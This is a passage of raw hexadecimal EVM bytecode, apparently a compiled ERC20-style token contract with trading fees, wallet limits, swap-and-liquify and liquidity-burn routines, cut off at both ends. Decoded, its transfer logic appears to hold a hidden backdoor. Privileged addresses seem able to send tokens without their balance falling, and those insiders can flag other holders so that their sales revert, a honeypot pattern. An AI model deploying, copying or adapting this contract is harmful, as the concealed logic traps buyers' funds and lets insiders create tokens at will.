8260148190555081601581905550601554601454620003e191906200109c565b6013819055506000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601b6000620005c3620007c560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601b600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620007523382620007ef60201b60201c565b5050505050505050505062001188565b600033905090565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000861576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008589062001138565b60405180910390fd5b62000875600083836200096760201b60201c565b80600260008282546200088991906200109c565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620008e091906200109c565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200094791906200116b565b60405180910390a362000963600083836200096c60201b60201c565b5050565b505050565b505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620009da826200098f565b810181811067ffffffffffffffff82111715620009fc57620009fb620009a0565b5b80604052505050565b600062000a1162000971565b905062000a1f8282620009cf565b919050565b600067ffffffffffffffff82111562000a425762000a41620009a0565b5b62000a4d826200098f565b9050602081019050919050565b60005b8381101562000a7a57808201518184015260208101905062000a5d565b60008484015250505050565b600062000a9d62000a978462000a24565b62000a05565b90508281526020810184848401111562000abc5762000abb6200098a565b5b62000ac984828562000a5a565b509392505050565b600082601f83011262000ae95762000ae862000985565b5b815162000afb84826020860162000a86565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b318262000b04565b9050919050565b62000b438162000b24565b811462000b4f57600080fd5b50565b60008151905062000b638162000b38565b92915050565b6000806000806080858703121562000b865762000b856200097b565b5b600085015167ffffffffffffffff81111562000ba75762000ba662000980565b5b62000bb58782880162000ad1565b945050602085015167ffffffffffffffff81111562000bd95762000bd862000980565b5b62000be78782880162000ad1565b935050604062000bfa8782880162000b52565b925050606062000c0d8782880162000b52565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c6c57607f821691505b60208210810362000c825762000c8162000c24565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000cec7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000cad565b62000cf8868362000cad565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d4562000d3f62000d398462000d10565b62000d1a565b62000d10565b9050919050565b6000819050919050565b62000d618362000d24565b62000d7962000d708262000d4c565b84845462000cba565b825550505050565b600090565b62000d9062000d81565b62000d9d81848462000d56565b505050565b5b8181101562000dc55762000db960008262000d86565b60018101905062000da3565b5050565b601f82111562000e145762000dde8162000c88565b62000de98462000c9d565b8101602085101562000df9578190505b62000e1162000e088562000c9d565b83018262000da2565b50505b505050565b600082821c905092915050565b600062000e396000198460080262000e19565b1980831691505092915050565b600062000e54838362000e26565b9150826002028217905092915050565b62000e6f8262000c19565b67ffffffffffffffff81111562000e8b5762000e8a620009a0565b5b62000e97825462000c53565b62000ea482828562000dc9565b600060209050601f83116001811462000edc576000841562000ec7578287015190505b62000ed3858262000e46565b86555062000f43565b601f19841662000eec8662000c88565b60005b8281101562000f165784890151825560018201915060208501945060208101905062000eef565b8683101562000f36578489015162000f32601f89168262000e26565b8355505b6001600288020188555050505b505050505050565b60006020828403121562000f645762000f636200097b565b5b600062000f748482850162000b52565b91505092915050565b62000f888162000b24565b82525050565b600060408201905062000fa5600083018562000f7d565b62000fb4602083018462000f7d565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000ff78262000d10565b9150620010048362000d10565b9250828202620010148162000d10565b915082820484148315176200102e576200102d62000fbb565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620010718262000d10565b91506200107e8362000d10565b92508262001091576200109062001035565b5b828204905092915050565b6000620010a98262000d10565b9150620010b68362000d10565b9250828201905080821115620010d157620010d062000fbb565b5b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062001120601f83620010d7565b91506200112d82620010e8565b602082019050919050565b60006020820190508181036000830152620011538162001111565b9050919050565b620011658162000d10565b82525050565b60006020820190506200118260008301846200115a565b92915050565b60805160a051614489620011ed60003960008181610ee9015281816125b701528181612a3801528181612af10152612b1e015260008181610bad01528181612f35015281816130160152818161303d015281816130d9015261310001526144896000f3fe6080604052600436106102815760003560e01c8063799726e11161014f578063b62496f5116100c1578063e2f456051161007a578063e2f45605146109dd578063e5c96aa414610a08578063f11a24d314610a31578063f2fde38b14610a5c578063f637434214610a85578063f8b45b0514610ab057610288565b8063b62496f5146108b9578063b892a189146108f6578063c18bc19514610921578063c8c8ebe41461094a578063d85ba06314610975578063dd62ed3e146109a057610288565b80639d1f645a116101135780639d1f645a146107955780639ec22c0e146107be578063a26bfdef146107e9578063a457c2d714610814578063a4c82a0014610851578063a9059cbb1461087c57610288565b8063799726e1146106c05780637bce5a04146106e95780638da5cb5b14610714578063921369131461073f57806395d89b411461076a57610288565b806327c8f835116101f35780634a62bb65116101ac5780634a62bb65146105ae5780634fbee193146105d95780636a486a8e1461061657806370a0823114610641578063715018a61461067e57806375f0a8741461069557610288565b806327c8f8351461049a5780632c3e486c146104c55780632e82f1a0146104f0578063313ce5671461051b578063395093511461054657806349bd5a5e1461058357610288565b8063184c16c511610245578063184c16c514610388578063199ffc72146103b35780631a8145bb146103de5780631f3fed8f14610409578063203e727e1461043457806323b872dd1461045d57610288565b806306fdde031461028d578063095ea7b3146102b857806310d5de53146102f55780631694505e1461033257806318160ddd1461035d57610288565b3661028857005b600080fd5b34801561029957600080fd5b506102a2610adb565b6040516102af9190613249565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190613313565b610b6d565b6040516102ec919061336e565b60405180910390f35b34801561030157600080fd5b5061031c60048036038101906103179190613389565b610b8b565b604051610329919061336e565b60405180910390f35b34801561033e57600080fd5b50610347610bab565b6040516103549190613415565b60405180910390f35b34801561036957600080fd5b50610372610bcf565b60405161037f919061343f565b60405180910390f35b34801561039457600080fd5b5061039d610bd9565b6040516103aa919061343f565b60405180910390f35b3480156103bf57600080fd5b506103c8610bdf565b6040516103d5919061343f565b60405180910390f35b3480156103ea57600080fd5b506103f3610be5565b604051610400919061343f565b60405180910390f35b34801561041557600080fd5b5061041e610beb565b60405161042b919061343f565b60405180910390f35b34801561044057600080fd5b5061045b6004803603810190610456919061345a565b610bf1565b005b34801561046957600080fd5b50610484600480360381019061047f9190613487565b610d1b565b604051610491919061336e565b60405180910390f35b3480156104a657600080fd5b506104af610e13565b6040516104bc91906134e9565b60405180910390f35b3480156104d157600080fd5b506104da610e19565b6040516104e7919061343f565b60405180910390f35b3480156104fc57600080fd5b50610505610e1f565b604051610512919061336e565b60405180910390f35b34801561052757600080fd5b50610530610e32565b60405161053d9190613520565b60405180910390f35b34801561055257600080fd5b5061056d60048036038101906105689190613313565b610e3b565b60405161057a919061336e565b60405180910390f35b34801561058f57600080fd5b50610598610ee7565b6040516105a591906134e9565b60405180910390f35b3480156105ba57600080fd5b506105c3610f0b565b6040516105d0919061336e565b60405180910390f35b3480156105e557600080fd5b5061060060048036038101906105fb9190613389565b610f1e565b60405161060d919061336e565b60405180910390f35b34801561062257600080fd5b5061062b610f74565b604051610638919061343f565b60405180910390f35b34801561064d57600080fd5b5061066860048036038101906106639190613389565b610f7a565b604051610675919061343f565b60405180910390f35b34801561068a57600080fd5b50610693610fc2565b005b3480156106a157600080fd5b506106aa61111a565b6040516106b791906134e9565b60405180910390f35b3480156106cc57600080fd5b506106e760048036038101906106e291906136af565b611140565b005b3480156106f557600080fd5b506106fe61121e565b60405161070b919061343f565b60405180910390f35b34801561072057600080fd5b50610729611224565b60405161073691906134e9565b60405180910390f35b34801561074b57600080fd5b5061075461124e565b604051610761919061343f565b60405180910390f35b34801561077657600080fd5b5061077f611254565b60405161078c9190613249565b60405180910390f35b3480156107a157600080fd5b506107bc60048036038101906107b7919061370b565b6112e6565b005b3480156107ca57600080fd5b506107d36113d8565b6040516107e0919061343f565b60405180910390f35b3480156107f557600080fd5b506107fe6113de565b60405161080b919061336e565b60405180910390f35b34801561082057600080fd5b5061083b60048036038101906108369190613313565b611499565b604051610848919061336e565b60405180910390f35b34801561085d57600080fd5b50610866611584565b604051610873919061343f565b60405180910390f35b34801561088857600080fd5b506108a3600480360381019061089e9190613313565b61158a565b6040516108b0919061336e565b60405180910390f35b3480156108c557600080fd5b506108e060048036038101906108db9190613389565b6115a8565b6040516108ed919061336e565b60405180910390f35b34801561090257600080fd5b5061090b6115c8565b604051610918919061343f565b60405180910390f35b34801561092d57600080fd5b506109486004803603810190610943919061345a565b6115ce565b005b34801561095657600080fd5b5061095f6116d2565b60405161096c919061343f565b60405180910390f35b34801561098157600080fd5b5061098a6116d8565b604051610997919061343f565b60405180910390f35b3480156109ac57600080fd5b506109c760048036038101906109c2919061374b565b6116de565b6040516109d4919061343f565b60405180910390f35b3480156109e957600080fd5b506109f2611765565b6040516109ff919061343f565b60405180910390f35b348015610a1457600080fd5b50610a2f6004803603810190610a2a919061370b565b61176b565b005b348015610a3d57600080fd5b50610a4661185d565b604051610a53919061343f565b60405180910390f35b348015610a6857600080fd5b50610a836004803603810190610a7e9190613389565b611863565b005b348015610a9157600080fd5b50610a9a611a29565b604051610aa7919061343f565b60405180910390f35b348015610abc57600080fd5b50610ac5611a2f565b604051610ad2919061343f565b60405180910390f35b606060038054610aea906137ba565b80601f0160208091040260200160405190810160405280929190818152602001828054610b16906137ba565b8015610b635780601f10610b3857610100808354040283529160200191610b63565b820191906000526020600020905b815481529060010190602001808311610b4657829003601f168201915b5050505050905090565b6000610b81610b7a611a35565b8484611a3d565b6001905092915050565b601b6020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b600e5481565b600b5481565b60175481565b60165481565b610bf9611a35565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7f90613837565b60405180910390fd5b670de0b6b3a76400006103e86001610c9e610bcf565b610ca89190613886565b610cb291906138f7565b610cbc91906138f7565b811015610cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf59061399a565b60405180910390fd5b670de0b6b3a764000081610d129190613886565b60088190555050565b6000610d28848484611c06565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d73611a35565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dea90613a2c565b60405180910390fd5b610e0785610dff611a35565b858403611a3d565b60019150509392505050565b61dead81565b600c5481565b600a60009054906101000a900460ff1681565b60006009905090565b6000610edd610e48611a35565b848460016000610e56611a35565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed89190613a4c565b611a3d565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b601960009054906101000a900460ff1681565b6000601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60135481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fca611a35565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105090613837565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561121a5760005b82518110156112185781601e60008584815181106111ac576111ab613a80565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061121090613aaf565b91505061118b565b505b5050565b60115481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60145481565b606060048054611263906137ba565b80601f016020809104026020016040519081016040528092919081815260200182805461128f906137ba565b80156112dc5780601f106112b1576101008083540402835291602001916112dc565b820191906000526020600020905b8154815290600101906020018083116112bf57829003601f168201915b5050505050905090565b6112ee611a35565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137490613837565b60405180910390fd5b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f5481565b60006113e8611a35565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611477576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146e90613837565b60405180910390fd5b6000601960006101000a81548160ff0219169083151502179055506001905090565b600080600160006114a8611a35565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155c90613b69565b60405180910390fd5b611579611570611a35565b85858403611a3d565b600191505092915050565b600d5481565b600061159e611597611a35565b8484611c06565b6001905092915050565b601c6020528060005260406000206000915054906101000a900460ff1681565b60185481565b6115d6611a35565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611665576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165c90613837565b60405180910390fd5b60058110156116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a090613bfb565b60405180910390fd5b6103e86116b4610bcf565b826116bf9190613886565b6116c991906138f7565b60098190555050565b60085481565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60075481565b611773611a35565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611802576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f990613837565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60125481565b61186b611a35565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f190613837565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196090613c8d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60155481565b60095481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa390613d1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1290613db1565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611bf9919061343f565b60405180910390a3505050565b601960009054906101000a900460ff161561200c57611c23611224565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c915750611c61611224565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cca5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d04575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d1d5750600560149054906101000a900460ff16155b1561200b57601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611dc55750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e6c57600854811115611e0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0690613e43565b60405180910390fd5b600954611e1b83610f7a565b82611e269190613a4c565b1115611e67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5e90613eaf565b60405180910390fd5b61200a565b601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611f0f5750601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f5e57600854811115611f59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5090613f41565b60405180910390fd5b612009565b601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661200857600954611fbb83610f7a565b82611fc69190613a4c565b1115612007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffe90613eaf565b60405180910390fd5b5b5b5b5b5b600061201730610f7a565b90506000600754821015905080801561203d5750600560149054906101000a900460ff16155b80156120935750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120e95750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561213f5750601a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612183576001600560146101000a81548160ff021916908315150217905550612167612802565b6000600560146101000a81548160ff0219169083151502179055505b600560149054906101000a900460ff161580156121e95750601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156122015750600a60009054906101000a900460ff165b801561221c5750600c54600d546122189190613a4c565b4210155b80156122725750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122815761227f612a0f565b505b6000600560149054906101000a900460ff16159050601a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123375750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561234157600090505b6000811561255457601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123a457506000601354115b1561243e576123d160646123c360135488612bd590919063ffffffff16565b612beb90919063ffffffff16565b9050601354601554826123e49190613886565b6123ee91906138f7565b601760008282546123ff9190613a4c565b92505081905550601354601454826124179190613886565b61242191906138f7565b601660008282546124329190613a4c565b92505081905550612530565b601c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561249957506000601054115b1561252f576124c660646124b860105488612bd590919063ffffffff16565b612beb90919063ffffffff16565b9050601054601254826124d99190613886565b6124e391906138f7565b601760008282546124f49190613a4c565b925050819055506010546011548261250c9190613886565b61251691906138f7565b601660008282546125279190613a4c565b925050819055505b5b600081111561254557612544873083612c01565b5b80856125519190613f61565b94505b6000601d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541480156125ef57508673ffffffffffffffffffffffffffffffffffffffff167f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1614155b80156126445750601e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156126a257601854601d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461269a9190613f61565b925050819055505b6000601d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361273f57846000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546127379190613f61565b925050819055505b846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461278d9190613a4c565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516127f1919061343f565b60405180910390a350505050505050565b600061280d30610f7a565b905060006016546017546128219190613a4c565b90506000808314806128335750600082145b1561284057505050612a0d565b601460075461284f9190613886565b8311156128685760146007546128659190613886565b92505b60006002836017548661287b9190613886565b61288591906138f7565b61288f91906138f7565b905060006128a68286612e8090919063ffffffff16565b905060004790506128b682612e96565b60006128cb8247612e8090919063ffffffff16565b905060006128f6876128e860165485612bd590919063ffffffff16565b612beb90919063ffffffff16565b9050600081836129069190613f61565b9050600060178190555060006016819055506000861180156129285750600081115b156129755761293786826130d3565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858260175460405161296c93929190613f95565b60405180910390a15b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516129bb90613ffd565b60006040518083038185875af1925050503d80600081146129f8576040519150601f19603f3d011682016040523d82523d6000602084013e6129fd565b606091505b5050809750505050505050505050505b565b600042600d8190555060003073ffffffffffffffffffffffffffffffffffffffff166370a082317f00000000000000000000000000000000000000000000000000000000000000006040518263ffffffff1660e01b8152600401612a7391906134e9565b602060405180830381865afa158015612a90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ab49190614027565b90506000612ae1612710612ad3600b5485612bd590919063ffffffff16565b612beb90919063ffffffff16565b90506000811115612b1a57612b197f000000000000000000000000000000000000000000000000000000000000000061dead83612c01565b5b60007f000000000000000000000000000000000000000000000000000000000000000090508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612b8757600080fd5b505af1158015612b9b573d6000803e3d6000fd5b505050507f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d60405160405180910390a16001935050505090565b60008183612be39190613886565b905092915050565b60008183612bf991906138f7565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612c70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c67906140c6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612cdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cd690614158565b60405180910390fd5b612cea8383836131af565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d67906141ea565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612e039190613a4c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612e67919061343f565b60405180910390a3612e7a8484846131b4565b50505050565b60008183612e8e9190613f61565b905092915050565b6000600267ffffffffffffffff811115612eb357612eb2613540565b5b604051908082528060200260200182016040528015612ee15781602001602082028036833780820191505090505b5090503081600081518110612ef957612ef8613a80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612f9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fc2919061421f565b81600181518110612fd657612fd5613a80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061303b307f000000000000000000000000000000000000000000000000000000000000000084611a3d565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161309d959493929190614345565b600060405180830381600087803b1580156130b757600080fd5b505af11580156130cb573d6000803e3d6000fd5b505050505050565b6130fe307f000000000000000000000000000000000000000000000000000000000000000084611a3d565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b81526004016131659695949392919061439f565b60606040518083038185885af1158015613183573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906131a89190614400565b5050505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156131f35780820151818401526020810190506131d8565b60008484015250505050565b6000601f19601f8301169050919050565b600061321b826131b9565b61322581856131c4565b93506132358185602086016131d5565b61323e816131ff565b840191505092915050565b600060208201905081810360008301526132638184613210565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006132aa8261327f565b9050919050565b6132ba8161329f565b81146132c557600080fd5b50565b6000813590506132d7816132b1565b92915050565b6000819050919050565b6132